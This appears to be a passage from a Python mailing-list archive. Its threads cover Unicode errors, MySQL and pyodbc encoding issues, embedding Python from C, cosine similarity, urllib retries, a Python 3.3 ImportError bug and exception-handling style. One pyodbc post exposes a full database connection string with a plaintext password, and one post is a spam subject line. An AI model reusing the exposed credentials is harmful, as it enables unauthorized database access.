object. Under Python 2 (which you're obviously using, since you use print as a statement), strings are bytes. The best thing to do would be to move to Python 3.3, in which the default string type is Unicode, and there's a separate 'bytes' type for communicating with file systems and networks and such. But if that's not possible, I would recommend having a separate method for returning a Unicode string (the same as your current __str__ but with a different name), and have __str__ call that and encode it - something like this: def describe(self): return u'msgid: "%s"\nmsgstr: "%s"' %(self.msgid, self.msgstr) def __str__(self): return self.describe().encode(self._encoding) But it'd definitely be better to move to Python 3. ChrisA From rosuav at gmail.com Fri Dec 7 09:33:44 2012 From: rosuav at gmail.com (Chris Angelico) Date: Sat, 8 Dec 2012 01:33:44 +1100 Subject: Problem with __str__ method and character encoding In-Reply-To: References: Message-ID: On Sat, Dec 8, 2012 at 1:14 AM, gialloporpora wrote: >>>> print a > UnicodeError >>>> print a.__str__() > OK By the way, it's *much* more helpful to copy and paste the actual error message and output, rather than retyping like that. Spending one extra minute in the interactive interpreter before you post can save us all a lot of time and confusion. In this case, what I'm seeing is (Python 2.6): >>> print a Traceback (most recent call last): File "", line 1, in print a UnicodeEncodeError: 'ascii' codec can't encode character u'\xe9' in position 27: ordinal not in range(128) Which has quite a bit of handy information in it. ChrisA From gialloporpora at gmail.com Fri Dec 7 10:05:44 2012 From: gialloporpora at gmail.com (gialloporpora) Date: Fri, 07 Dec 2012 16:05:44 +0100 Subject: Problem with __str__ method and character encoding In-Reply-To: References: Message-ID: Risposta al messaggio di Chris Angelico : > Your __str__ method is not returning a string. It's returning a > Unicode object. Under Python 2 (which you're obviously using, since > you use print as a statement), strings are bytes. The best thing to do > would be to move to Python 3.3, in which the default string type is > Unicode, and there's a separate 'bytes' type for communicating with > file systems and networks and such. But if that's not possible, I > would recommend having a separate method for returning a Unicode > string (the same as your current __str__ but with a different name), > and have __str__ call that and encode it - something like this: > > def describe(self): > return u'msgid: "%s"\nmsgstr: "%s"' %(self.msgid, self.msgstr) > def __str__(self): > return self.describe().encode(self._encoding) > > But it'd definitely be better to move to Python 3. > Thanks, now I have understood. I have problem with the installer of the Python 3.3 (and 2.7.3), when I fix these problem I'll try to update to Python 3.3. Sandro -- *Antivirus aggiornato: e siamo sicuri che basti? * - http://bit.ly/SXuDAc Sto ascoltando: *Robert Plant ? One More Cup of Coffee (Valley Below) * - http://bit.ly/TtyHMq From gialloporpora at gmail.com Fri Dec 7 10:08:06 2012 From: gialloporpora at gmail.com (gialloporpora) Date: Fri, 07 Dec 2012 16:08:06 +0100 Subject: Problem with __str__ method and character encoding In-Reply-To: References: Message-ID: Risposta al messaggio di Chris Angelico : > By the way, it's*much* more helpful to copy and paste the actual > error message and output, rather than retyping like that. Spending one > extra minute in the interactive interpreter before you post can save > us all a lot of time and confusion. In this case, what I'm seeing is > (Python 2.6): Ok, sorry, I remmer your suggestion for the next time. Sandro -- *Antivirus aggiornato: e siamo sicuri che basti? * - http://bit.ly/SXuDAc Sto ascoltando: *Robert Plant ? One More Cup of Coffee (Valley Below) * - http://bit.ly/TtyHMq From martin.hellwig at gmail.com Fri Dec 7 10:40:27 2012 From: martin.hellwig at gmail.com (Martin P. Hellwig) Date: Fri, 7 Dec 2012 07:40:27 -0800 (PST) Subject: Python-UK Community on google+ Message-ID: Hi All, I created the Python-UK Community on google+, so if you are using google+ and you are interested in Python and you are interested in the UK, I heartily invite you to join. My intention is to transfer the ownership to the PyCon UK organization, which I already have contacted a member of. You can find it here: https://plus.google.com/u/0/communities/109155400666012015869 Hope to see you soon :-) Martin P. Hellwig From eric.frederich at gmail.com Fri Dec 7 10:42:28 2012 From: eric.frederich at gmail.com (Eric Frederich) Date: Fri, 7 Dec 2012 10:42:28 -0500 Subject: empty object from C Message-ID: Hello, >From C, I'd like to call a Python function that takes an object and sets some attributes on it. Lets say this is the function... def foo(msg): msg.bar = 123 msg.spam = 'eggs' How do I create an empty object in C? In Python I would do something like this... class Msg(object): pass ... and then instantiate an instance, and call the function. msg = Msg() foo(msg) I know how to create an empty dictionary and I get get by with that, but I'd like to create an object. Thanks, ~Eric -------------- next part -------------- An HTML attachment was scrubbed... URL: From redstone-cold at 163.com Fri Dec 7 10:42:47 2012 From: redstone-cold at 163.com (iMath) Date: Fri, 7 Dec 2012 07:42:47 -0800 (PST) Subject: UnicodeDecodeError: 'utf-8' codec can't decode byte 0x89 in position 0: invalid start byte In-Reply-To: <50c07c77$0$6884$e4fe514c@news2.news.xs4all.nl> References: <7ac5958d-3cdf-4320-b965-6245c3e85599@googlegroups.com> <50c07c77$0$6884$e4fe514c@news2.news.xs4all.nl> Message-ID: <74538ed7-aafb-4c09-87a9-23e9adc8cd3a@googlegroups.com> ? 2012?12?6????UTC+8??7?07?35??Hans Mulder??? > On 6/12/12 11:07:51, iMath wrote: > > > the following code originally from http://zetcode.com/databases/mysqlpythontutorial/ > > > within the "Writing images" part . > > > > > > > > > import MySQLdb as mdb > > > import sys > > > > > > try: > > > fin = open("Chrome_Logo.svg.png",'rb') > > > img = fin.read() > > > fin.close() > > > > > > except IOError as e: > > > > > > print ("Error %d: %s" % (e.args[0],e.args[1])) > > > sys.exit(1) > > > > > > > > > try: > > > conn = mdb.connect(host='localhost',user='testuser', > > > passwd='test623', db='testdb') > > > cursor = conn.cursor() > > > cursor.execute("INSERT INTO Images SET Data='%s'" % \ > > > mdb.escape_string(img)) > > > > You shouldn't call mdb.escape_string directly. Instead, you > > should put placeholders in your SQL statement and let MySQLdb > > figure out how to properly escape whatever needs escaping. > > > > Somewhat confusingly, placeholders are written as %s in MySQLdb. > > They differ from strings in not being enclosed in quotes. > > The other difference is that you'd provide two arguments to > > cursor.execute; the second of these is a tuple; in this case > > a tuple with only one element: > > > > cursor.execute("INSERT INTO Images SET Data=%s", (img,)) > > thanks?but it still doesn't work > > > conn.commit() > > > > > > cursor.close() > > > conn.close() > > > > > > except mdb.Error as e: > > > > > > print ("Error %d: %s" % (e.args[0],e.args[1])) > > > sys.exit(1) > > > > > > > > > I port it to python 3 ,and also change > > > fin = open("chrome.png") > > > to > > > fin = open("Chrome_Logo.png",'rb') > > > but when I run it ,it gives the following error : > > > > > > Traceback (most recent call last): > > > File "E:\Python\py32\itest4.py", line 20, in > > > mdb.escape_string(img)) > > > UnicodeDecodeError: 'utf-8' codec can't decode byte 0x89 in position 0: invalid start byte > > > > > > so how to fix it ? > > > > Python 3 distinguishes between binary data and Unicode text. > > Trying to apply string functions to images or other binary > > data won't work. > > > > Maybe correcting this bytes/strings confusion and porting > > to Python 3 in one go is too large a transformation. In > > that case, your best bet would be to go back to Python 2 > > and fix all the bytes/string confusion there. When you've > > got it working again, you may be ready to port to Python 3. > > > > > > Hope this helps, > > > > -- HansM From markuschristen84 at gmail.com Fri Dec 7 10:47:00 2012 From: markuschristen84 at gmail.com (Markus Christen) Date: Fri, 7 Dec 2012 07:47:00 -0800 (PST) Subject: pyodbc utf-8 In-Reply-To: <50c1de10$0$6952$e4fe514c@news2.news.xs4all.nl> References: <075a81ce-9b72-400f-8beb-025a167efa5f@googlegroups.com> <50c1de10$0$6952$e4fe514c@news2.news.xs4all.nl> Message-ID: My webpage is using UTF-8 and utf-8 or unicode is on the DB. When i read out this files with Excel, i have no problems with the umlauts. I heared its a problem of pyodbc itself, cause it is only using ascii i think. I found this page here, but it was not really helpful for me. :( maybe i have not understood what this really means... http://stackoverflow.com/questions/4805267/problem-with-unicode-decoding maybe you can understand it and you can translate it for a noob. :D Am Freitag, 7. Dezember 2012 13:16:09 UTC+1 schrieb Hans Mulder: > On 7/12/12 08:41:27, Markus Christen wrote: > > > good morning > > > > > > i am using pyodbc 3.0.6 for win32 python 2.7.3 > > > i used it to connect with a MsSql db. Now i have a little problem with the umlaut. > > > i cant change anything in the db and there are umlauts like "???", "???" > > and "???" saved. > > > so i have to change my view (of django 1.4.1) to change \xfc into ??? etc. but how i > > > have to do this? > > > > > on my webpage the umlauts are correct (without helping fonts like ü (???)). > > > but not the umlauts out read out of my db. > > > > Which encoding does your webpage use? > > > > > Here the code i'm using: > > > --------------------------------- > > > conn = pyodbc.connect('DRIVER={SQL Server};CHARSET=UTF8;SERVER=MAURITIUS;DATABASE=baan5c;UID=portal;PWD=P0rtalReader') > > > cursor = conn.cursor() > > > cursor.execute("SELECT t_nama, t_bpid FROM ttccom100070 ORDER BY t_nama") > > > rows = cursor.fetchall() > > > --------------------------------- > > > > > > helping tags like ", 'utf-8'" or something else didnt work till now. > > > have anyone an idea how i can fix this problem? ^^ > > > > I think the way forward would be to look at the data your code snippet > > receives from the database. > > > > Which datatype do the strings have? Unicode or str or something else? > > > > If the type is str, which encoding do they use? > > If this isn't documented, you could at a few strings containing > > non-ascii characters to see what codes are used, and compare > > them to popular encodings such as uft8, latin1 and cp1252. > > > > > > Hope his helps, > > > > -- HansM From breamoreboy at yahoo.co.uk Fri Dec 7 11:01:03 2012 From: breamoreboy at yahoo.co.uk (Mark Lawrence) Date: Fri, 07 Dec 2012 16:01:03 +0000 Subject: pyodbc utf-8 In-Reply-To: References: <075a81ce-9b72-400f-8beb-025a167efa5f@googlegroups.com> <50c1de10$0$6952$e4fe514c@news2.news.xs4all.nl> Message-ID: On 07/12/2012 15:47, Markus Christen wrote: > My webpage is using UTF-8 and utf-8 or unicode is on the DB. When i read out this files with Excel, i have no problems with the umlauts. I heared its a problem of pyodbc itself, cause it is only using ascii i think. I found this page here, but it was not really helpful for me. :( maybe i have not understood what this really means... > http://stackoverflow.com/questions/4805267/problem-with-unicode-decoding > > maybe you can understand it and you can translate it for a noob. :D > Try http://www.joelonsoftware.com/articles/Unicode.html or http://nedbatchelder.com/text/unipain.html -- Cheers. Mark Lawrence. From ian.g.kelly at gmail.com Fri Dec 7 11:21:19 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Fri, 7 Dec 2012 09:21:19 -0700 Subject: pyodbc utf-8 In-Reply-To: <075a81ce-9b72-400f-8beb-025a167efa5f@googlegroups.com> References: <075a81ce-9b72-400f-8beb-025a167efa5f@googlegroups.com> Message-ID: On Fri, Dec 7, 2012 at 12:41 AM, Markus Christen wrote: > good morning > > i am using pyodbc 3.0.6 for win32 python 2.7.3 > i used it to connect with a MsSql db. Now i have a little problem with the umlaut. i cant change anything in the db and there are umlauts like "?", "?" and "?" saved. so i have to change my view (of django 1.4.1) to change \xfc into ? etc. but how i have to do this? > on my webpage the umlauts are correct (without helping fonts like ü (?)). but not the umlauts out read out of my db. > > Here the code i'm using: > --------------------------------- > conn = pyodbc.connect('DRIVER={SQL Server};CHARSET=UTF8;SERVER=MAURITIUS;DATABASE=baan5c;UID=portal;PWD=P0rtalReader') > cursor = conn.cursor() > cursor.execute("SELECT t_nama, t_bpid FROM ttccom100070 ORDER BY t_nama") > rows = cursor.fetchall() > --------------------------------- > > helping tags like ", 'utf-8'" or something else didnt work till now. have anyone an idea how i can fix this problem? ^^ What *exactly* is the output of this code? I have a hunch that it is actually outputting the correct data as a Unicode string, and you are looking at the repr of the string and misinterpreting it. From inq1ltd at inqvista.com Fri Dec 7 11:37:01 2012 From: inq1ltd at inqvista.com (inq1ltd) Date: Fri, 07 Dec 2012 11:37:01 -0500 Subject: mini browser with python In-Reply-To: References: <2752523.MlzgZ4bAjj@mach-114-20> Message-ID: <2446965.q19QFSiYtR@mach-114-20> On Thursday, December 06, 2012 03:15:42 PM Terry Reedy wrote: > On 12/6/2012 1:15 PM, inq1ltd wrote: > > On Thursday, December 06, 2012 05:19:38 PM John Gordon wrote: > > > In inq1ltd > > > > writes: > > > > Right now I need some way to display > > > > 15 to 20 lines of html in its own window or > > > > as part of my screen. > > > > > > Could you open a shell window and run a text web browser such as > > > Lynx? > > > > That is a possibility but then every machine > > will have to have Lynx. That is not quite > > what the customer wants. > > > > Also, I can download the site to a file, > > Or you can download and work with it in memory. > > > convert the data to text, > > Using existing html parser. > > > then display it in a Text widget. > > The complication in displaying html is with placing images and other > boxed content, including tables, and flowing text around the boxes. If > the html you want to work with is simple and has a somewhat fixed > format, you should be able to extract all the info as either text or a > table and be able to format and place it how you want. What you are suggesting is what was suggested when this project was originally discussed. However, I was naive about the complications of simply viewing a web page. And, making something like this work on Linux and Windows. I've come to the conclusion that processing the data with a parser and formatting it in a widget is the only way to make it work on both platforms. Parsing the data also gives one the ability to produce a module that will work in multiple versions of either platform and still keep control of all of the code. I appreciate the Help, Regards, jimonlinux -------------- next part -------------- An HTML attachment was scrubbed... URL: From subhabangalore at gmail.com Fri Dec 7 11:38:15 2012 From: subhabangalore at gmail.com (subhabangalore at gmail.com) Date: Fri, 7 Dec 2012 08:38:15 -0800 (PST) Subject: Cosine Similarity In-Reply-To: <5c698e92-b7ef-43c5-b6c0-5a4cac48d0f3@googlegroups.com> References: <7ddcb02b-b309-4143-82be-047b90c6df4d@googlegroups.com> <5c698e92-b7ef-43c5-b6c0-5a4cac48d0f3@googlegroups.com> Message-ID: T On Friday, December 7, 2012 9:47:46 AM UTC+5:30, Miki Tebeka wrote: > On Thursday, December 6, 2012 2:15:53 PM UTC-8, subhaba... at gmail.com wrote: > > > I am looking for some example of implementing Cosine similarity in python. I searched for hours but could not help much. NLTK seems to have a module but did not find examples. > > Should be easy with numpy: > > import numpy as np > > > > def cos(v1, v2): > > return np.dot(v1, v2) / (np.sqrt(np.dot(v1, v1)) * np.sqrt(np.dot(v2, v2))) > > > > > > HTH, > > -- > > Miki Thanks Miki. It worked. Regards,Subhabrata. From neilc at norwich.edu Fri Dec 7 11:40:02 2012 From: neilc at norwich.edu (Neil Cerutti) Date: 7 Dec 2012 16:40:02 GMT Subject: Confused compare function :) References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50c085e5$0$29994$c3e8da3$5496439d@news.astraweb.com> <50c15a9a$0$21853$c3e8da3$76491128@news.astraweb.com> Message-ID: On 2012-12-07, Steven D'Aprano wrote: > On Thu, 06 Dec 2012 13:51:29 +0000, Neil Cerutti wrote: > >> On 2012-12-06, Steven D'Aprano >> wrote: >>> total = 0 >>> for s in list_of_strings: >>> try: >>> total += int(s) >>> except ValueError: >>> pass # Not a number, ignore it. >> >> If it's internal data, perhaps. Of course, that would mean I >> had the option of *not* creating that stupid list_of_strings. > > Not necessarily, it depends on the application. I agree. I personally wouldn't want, e.g., 12.0 to get silently skipped so I've never done this. I've never done anything like that, but I can imagine it. > If you have a spreadsheet, and create a formula =SUM(A1:A50) > the expected behaviour is to just skip anything that is not a > valid number, not raise an error. Sometimes correct > application-level behaviour is to just ignore input that it > doesn't care about. > > One of the things that I used to despise with a passion about > MYOB is that if you clicked on the window outside of a button > or field, it would scream at you "ERROR ERROR ERROR - that was > not a button or field!!!!" That is to say, it would beep. I > mean, *who fscking cares* that the user clicks in the window > background? It's a harmless tick, like tapping your desk, just > ignore it. What happens in Word during a Mail Merge if an invalid field is in the data file, one you don't even care about: You get to click on a modular dialog box for every record you're merging with to say IGNORE. And you can't quit. > As a general rule, library functions should be strict about > reporting errors, while applications may be more forgiving > about errors that they don't care about. The "don't care about" > part is important though -- your word processor shouldn't care > about low level networking errors, but it should care if it > can't save a file to a network drive. You have to draw the line somewhere in any case, and drawing it all the way over to IGNORE is bound right some of the time. It would be, I guess, Cargo Cult programming to never ignore errors. -- Neil Cerutti From hansmu at xs4all.nl Fri Dec 7 12:27:48 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Fri, 07 Dec 2012 18:27:48 +0100 Subject: python 3.3 urllib.request In-Reply-To: References: Message-ID: <50c22714$0$6981$e4fe514c@news2.news.xs4all.nl> On 7/12/12 13:52:52, Steeve C wrote: > hello, > > I have a python3 script with urllib.request which have a strange > behavior, here is the script : > > +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ > #!/usr/bin/env python3 > # -*- coding: utf-8 -*- > > import urllib.request > import sys, time > > > url = 'http://google.com' > > def make_some_stuff(page, url): > sys.stderr.write(time.strftime("%d/%m/%Y %H:%M:%S -> page from \"") > + url + "\"\n") > sys.stderr.write(str(page) + "\"\n") > return True > > def get_page(url): > while 1: > try: > page = urllib.request.urlopen(url) > yield page > > except urllib.error.URLError as e: > sys.stderr.write(time.strftime("%d/%m/%Y %H:%M:%S -> > impossible to access to \"") + url + "\"\n") > time.sleep(5) > continue > > def main(): > print('in main') > for page in get_page(url): > make_some_stuff(page, url) > time.sleep(5) > > if __name__ == '__main__': > main() > +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ > > if the computer is connected on internet (with an ethernet connection > for example) and I run this script, it works like a charme : > - urllib.request.urlopen return the page > - make_some_stuff write in stderr > - when the ethernet cable is unplug the except block handle the error > while the cable is unplug, and when the cable is pluged > back urllib.request.urlopen return the page and make_some_stuff write in > stderr > > this is the normal behavior (for me, imho). > > but if the computer is not connected on internet (ethernet cable > unpluged) and I run this script, the except block handle the error > (normal), but when I plug the cable, the script continue looping > and urllib.request.urlopen never return the page (so, it always > go to the except block) > > What can I do to handle that ? On my laptop, your script works as you'd hope: if I plug in the network cable, then the next urllib request sometimes fails, but the request after that succeeds. This is using Python 3.3 on MacOS X 10.5. What version are you running? What happens if you start the script with the network cable plugged in, then unplug it when the first request has succeeded, and then plug it in again when the next request has failed? -- HansM From shahabuddinbkb at gmail.com Fri Dec 7 12:45:56 2012 From: shahabuddinbkb at gmail.com (shahabuddinbkb at gmail.com) Date: Fri, 7 Dec 2012 09:45:56 -0800 (PST) Subject: KAJOL SEX VIDEOS''''''''''''''''''' In-Reply-To: References: Message-ID: <59ee35df-d971-428d-b742-0cb80659d3f8@googlegroups.com> On Thursday, November 29, 2012 8:17:27 PM UTC-8, mentham... at gmail.com wrote: > From stefan_ml at behnel.de Fri Dec 7 14:04:04 2012 From: stefan_ml at behnel.de (Stefan Behnel) Date: Fri, 07 Dec 2012 20:04:04 +0100 Subject: empty object from C In-Reply-To: References: Message-ID: Eric Frederich, 07.12.2012 16:42: > From C, I'd like to call a Python function that takes an object and sets > some attributes on it. > Lets say this is the function... > > def foo(msg): > msg.bar = 123 > msg.spam = 'eggs' > > How do I create an empty object in C? > In Python I would do something like this... > > class Msg(object): > pass > > ... and then instantiate an instance, and call the function. > > msg = Msg() > foo(msg) > > I know how to create an empty dictionary and I get get by with that, but > I'd like to create an object. Here's some Cython code that you can call from C (after linking it in and creating a Python interpreter at runtime): cdef public set_attributes(msg, int bar, char* spam): msg.bar = bar msg.spam = spam.decode('utf8') # or whatever you use However, how you'd use it depends on your actual C code. Personally, I'd drop C and write all Python interaction in Cython. Makes these things way easier. Here are some longer examples: https://github.com/cython/cython/tree/master/Demos/embed https://github.com/cython/cython/tree/master/Demos/callback Stefan From rustompmody at gmail.com Fri Dec 7 14:12:25 2012 From: rustompmody at gmail.com (rusi) Date: Fri, 7 Dec 2012 11:12:25 -0800 (PST) Subject: A question about readability References: Message-ID: <813b87e3-ac04-400f-86dd-b52eefb0ab22@me7g2000pbb.googlegroups.com> On Dec 7, 6:46?pm, Marco wrote: > Hi all, do you think this code: > > $ more myscript.py > for line in open('data.txt'): > ? ? ?result = sum(int(data) for data in line.split(';')) > ? ? ?print(result) > > that sums the elements of the lines of this file: > > $ more data.txt > 30;44;99;88 > 11;17;16;50 > 33;91;77;15 > $ python3.3 myscript.py > 261 > 94 > 216 > > is explicit enough? Do you prefer a clearer solution? > Thanks in advance, Marco > -- > Marco Interpreting your question as a general question of stylistics, my experience is that a 3 line script often becomes a 10 line or a 50 line script at which point the direct printing will have to be modified to create an internal data structure. So on the whole I find it expedient to start with that assumption and write it as: def linesums(file): return [sum(int(i) for i in l.split(';')) for l in open(file, 'r')] Whether this one-liner is readable or not and how to make it more so etc is probably bikeshedding. More important questions are for example: - Should you protect the open with a try - When to list and when to generate(or) All these are nice features of python but can lead to over-engineered code From irmen.NOSPAM at xs4all.nl Fri Dec 7 15:46:28 2012 From: irmen.NOSPAM at xs4all.nl (Irmen de Jong) Date: Fri, 07 Dec 2012 21:46:28 +0100 Subject: wrong ImportError message printed by python3.3 when it can't find a module? Message-ID: <50c255a2$0$6973$e4fe514c@news.xs4all.nl> Hi, I'm seeing that Python 3.3.0 is not printing the correct ImportError when it can't import a module that is imported from another module. Instead of printing the name of the module it can't import, it prints the name of the module that is doing the faulty import. Behold: I have created: importfail\ __init__.py main.py sub.py [L:\]type importfail\main.py from . import sub [L:\]type importfail\sub.py import nonexisting_module [L:\] [L:\]c:\Python33\python.exe -m importfail.main Traceback (most recent call last): File "C:\Python33\lib\runpy.py", line 160, in _run_module_as_main "__main__", fname, loader, pkg_name) File "C:\Python33\lib\runpy.py", line 73, in _run_code exec(code, run_globals) File ".\importfail\main.py", line 1, in from . import sub ImportError: cannot import name sub # <--- huh ? Python 3.2 and earlier do the right thing: [L:\]c:\Python32\python.exe -m importfail.main Traceback (most recent call last): File "C:\Python32\lib\runpy.py", line 160, in _run_module_as_main "__main__", fname, loader, pkg_name) File "C:\Python32\lib\runpy.py", line 73, in _run_code exec(code, run_globals) File "L:\importfail\main.py", line 1, in from . import sub File "importfail\sub.py", line 1, in import nonexisting_module ImportError: No module named nonexisting_module # <--- ok. (this is on windows, but on osx I see the same behavior). Is there a problem with the rewritten import logic in Python 3.3? Thanks Irmen de Jong From __peter__ at web.de Fri Dec 7 16:20:06 2012 From: __peter__ at web.de (Peter Otten) Date: Fri, 07 Dec 2012 22:20:06 +0100 Subject: wrong ImportError message printed by python3.3 when it can't find a module? References: <50c255a2$0$6973$e4fe514c@news.xs4all.nl> Message-ID: Irmen de Jong wrote: > I'm seeing that Python 3.3.0 is not printing the correct ImportError when > it can't import a module that is imported from another module. Instead of > printing the name of the module it can't import, it prints the name of the > module that is doing the faulty import. > > Behold: > I have created: > importfail\ > __init__.py > main.py > sub.py > > > [L:\]type importfail\main.py > from . import sub > > [L:\]type importfail\sub.py > import nonexisting_module > > [L:\] > > > [L:\]c:\Python33\python.exe -m importfail.main > Traceback (most recent call last): > File "C:\Python33\lib\runpy.py", line 160, in _run_module_as_main > "__main__", fname, loader, pkg_name) > File "C:\Python33\lib\runpy.py", line 73, in _run_code > exec(code, run_globals) > File ".\importfail\main.py", line 1, in > from . import sub > ImportError: cannot import name sub # <--- huh ? > > > Python 3.2 and earlier do the right thing: > > [L:\]c:\Python32\python.exe -m importfail.main > Traceback (most recent call last): > File "C:\Python32\lib\runpy.py", line 160, in _run_module_as_main > "__main__", fname, loader, pkg_name) > File "C:\Python32\lib\runpy.py", line 73, in _run_code > exec(code, run_globals) > File "L:\importfail\main.py", line 1, in > from . import sub > File "importfail\sub.py", line 1, in > import nonexisting_module > ImportError: No module named nonexisting_module # <--- ok. > > (this is on windows, but on osx I see the same behavior). A paragon of clarity -- ye lurkers, this is how a bug report should be. > Is there a problem with the rewritten import logic in Python 3.3? > > Thanks > Irmen de Jong I believe this is fixed, see http://bugs.python.org/issue15111 From steve+comp.lang.python at pearwood.info Fri Dec 7 17:16:07 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 07 Dec 2012 22:16:07 GMT Subject: Confused compare function :) References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50c085e5$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: <50c26aa6$0$29994$c3e8da3$5496439d@news.astraweb.com> On Thu, 06 Dec 2012 23:14:17 +1100, Chris Angelico wrote: > Setting up the try/except is a constant time cost, It's not just constant time, it's constant time and *cheap*. Doing nothing inside a try block takes about twice as long as doing nothing: [steve at ando ~]$ python2.7 -m timeit "try: pass > except: pass" 10000000 loops, best of 3: 0.062 usec per loop [steve at ando ~]$ python2.7 -m timeit "pass" 10000000 loops, best of 3: 0.0317 usec per loop > while the duplicated > search for k inside the dictionary might depend on various other > factors. It depends on the type, size and even the history of the dict, as well as the number, type and values of the keys. Assuming a built-in dict, we can say that in the absence of many collisions, key lookup can be amortized over many lookups as constant time. > In the specific case of a Python dictionary, the membership > check is fairly cheap (assuming you're not the subject of a hash > collision attack - Py3.3 makes that a safe assumption), Don't be so sure -- the hash randomization algorithm for Python 3.3 is trivially beaten by an attacker. http://bugs.python.org/issue14621#msg173455 but in general, yes, key lookup in dicts is fast. But not as fast as setting up a try block. Keep in mind too that the "Look Before You Leap" strategy is fundamentally unsound if you are using threads: # in main thread: if key in mydict: # returns True x = mydict[key] # fails with KeyError How could this happen? In the fraction of a second between checking whether the key exists and actually looking up the key, another thread could delete it! This is a classic race condition, also known as a Time Of Check To Time Of Use bug. -- Steven From irmen.NOSPAM at xs4all.nl Fri Dec 7 17:23:11 2012 From: irmen.NOSPAM at xs4all.nl (Irmen de Jong) Date: Fri, 07 Dec 2012 23:23:11 +0100 Subject: wrong ImportError message printed by python3.3 when it can't find a module? In-Reply-To: References: <50c255a2$0$6973$e4fe514c@news.xs4all.nl> Message-ID: <50c26c4d$0$6965$e4fe514c@news.xs4all.nl> On 7-12-2012 22:20, Peter Otten wrote: > A paragon of clarity -- ye lurkers, this is how a bug report should be. :-) > >> Is there a problem with the rewritten import logic in Python 3.3? >> >> Thanks >> Irmen de Jong > > I believe this is fixed, see http://bugs.python.org/issue15111 Argh, why didn't I search the bug tracker first: I would have found that one for sure. Anyway, thanks for pointing it out. The bug is confusing but it doesn't break anything so far. I guess I'll be fine waiting for 3.3.1. Irmen From rodrick.brown at gmail.com Sat Dec 8 01:15:35 2012 From: rodrick.brown at gmail.com (Rodrick Brown) Date: Sat, 8 Dec 2012 01:15:35 -0500 Subject: =?windows-1252?Q?Dropbox_Hires_Away_Google=92s_Guido_Van_Rossum?= Message-ID: http://techcrunch.com/2012/12/07/dropbox-guido-van-rossum-python/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From tjreedy at udel.edu Sat Dec 8 01:20:55 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Sat, 08 Dec 2012 01:20:55 -0500 Subject: python 3.3 urllib.request In-Reply-To: <50c22714$0$6981$e4fe514c@news2.news.xs4all.nl> References: <50c22714$0$6981$e4fe514c@news2.news.xs4all.nl> Message-ID: On 12/7/2012 12:27 PM, Hans Mulder wrote: > On 7/12/12 13:52:52, Steeve C wrote: >> hello, >> >> I have a python3 script with urllib.request which have a strange >> behavior, here is the script : >> >> +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >> #!/usr/bin/env python3 >> # -*- coding: utf-8 -*- >> >> import urllib.request >> import sys, time >> >> >> url = 'http://google.com' >> >> def make_some_stuff(page, url): >> sys.stderr.write(time.strftime("%d/%m/%Y %H:%M:%S -> page from \"") >> + url + "\"\n") >> sys.stderr.write(str(page) + "\"\n") >> return True >> >> def get_page(url): >> while 1: >> try: >> page = urllib.request.urlopen(url) >> yield page >> >> except urllib.error.URLError as e: >> sys.stderr.write(time.strftime("%d/%m/%Y %H:%M:%S -> >> impossible to access to \"") + url + "\"\n") >> time.sleep(5) >> continue >> >> def main(): >> print('in main') >> for page in get_page(url): >> make_some_stuff(page, url) >> time.sleep(5) >> >> if __name__ == '__main__': >> main() >> +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >> >> if the computer is connected on internet (with an ethernet connection >> for example) and I run this script, it works like a charme : >> - urllib.request.urlopen return the page >> - make_some_stuff write in stderr >> - when the ethernet cable is unplug the except block handle the error >> while the cable is unplug, and when the cable is pluged >> back urllib.request.urlopen return the page and make_some_stuff write in >> stderr >> >> this is the normal behavior (for me, imho). >> >> but if the computer is not connected on internet (ethernet cable >> unpluged) and I run this script, the except block handle the error >> (normal), but when I plug the cable, the script continue looping >> and urllib.request.urlopen never return the page (so, it always >> go to the except block) >> >> What can I do to handle that ? Don't do that '-). > On my laptop, your script works as you'd hope: if I plug in the > network cable, then the next urllib request sometimes fails, but > the request after that succeeds. > This is using Python 3.3 on MacOS X 10.5. > What version are you running? > > What happens if you start the script with the network cable > plugged in, then unplug it when the first request has succeeded, > and then plug it in again when the next request has failed? I believe he said that that worked. But unplugging cables is not a good idea ;-) I remember when it was recommended that all cables be plugged in and the the connected devices turned on when the computer was turned on and when devices might not be recognized unless plugged in and on when the computer was booted or rebooted. In other words, ports were scanned once as part of the boot process and adding a device required a reboot. It certainly was not that long ago when I had to reboot after the Internet Service went down and the cable modem had to reset. Ethernet and usb ports and modern OSes are more forgiving. But it does not surprise me if on some systems something has to be presence at process startup to evet be visible to the process. I believe this is all beyond Python's control. So the only thing to do might be to change hardware and/or OS or have the program restart itself if it gets repeated errors. -- Terry Jan Reedy From tjreedy at udel.edu Sat Dec 8 02:01:08 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Sat, 08 Dec 2012 02:01:08 -0500 Subject: Confused compare function :) In-Reply-To: <50c26aa6$0$29994$c3e8da3$5496439d@news.astraweb.com> References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50c085e5$0$29994$c3e8da3$5496439d@news.astraweb.com> <50c26aa6$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: On 12/7/2012 5:16 PM, Steven D'Aprano wrote: > On Thu, 06 Dec 2012 23:14:17 +1100, Chris Angelico wrote: > >> Setting up the try/except is a constant time cost, > > It's not just constant time, it's constant time and *cheap*. Doing > nothing inside a try block takes about twice as long as doing nothing: > > [steve at ando ~]$ python2.7 -m timeit "try: pass >> except: pass" > 10000000 loops, best of 3: 0.062 usec per loop > > [steve at ando ~]$ python2.7 -m timeit "pass" > 10000000 loops, best of 3: 0.0317 usec per loop > > >> while the duplicated >> search for k inside the dictionary might depend on various other >> factors. > > It depends on the type, size and even the history of the dict, as well as > the number, type and values of the keys. Assuming a built-in dict, we can > say that in the absence of many collisions, key lookup can be amortized > over many lookups as constant time. > > >> In the specific case of a Python dictionary, the membership >> check is fairly cheap (assuming you're not the subject of a hash >> collision attack - Py3.3 makes that a safe assumption), > > Don't be so sure -- the hash randomization algorithm for Python 3.3 is > 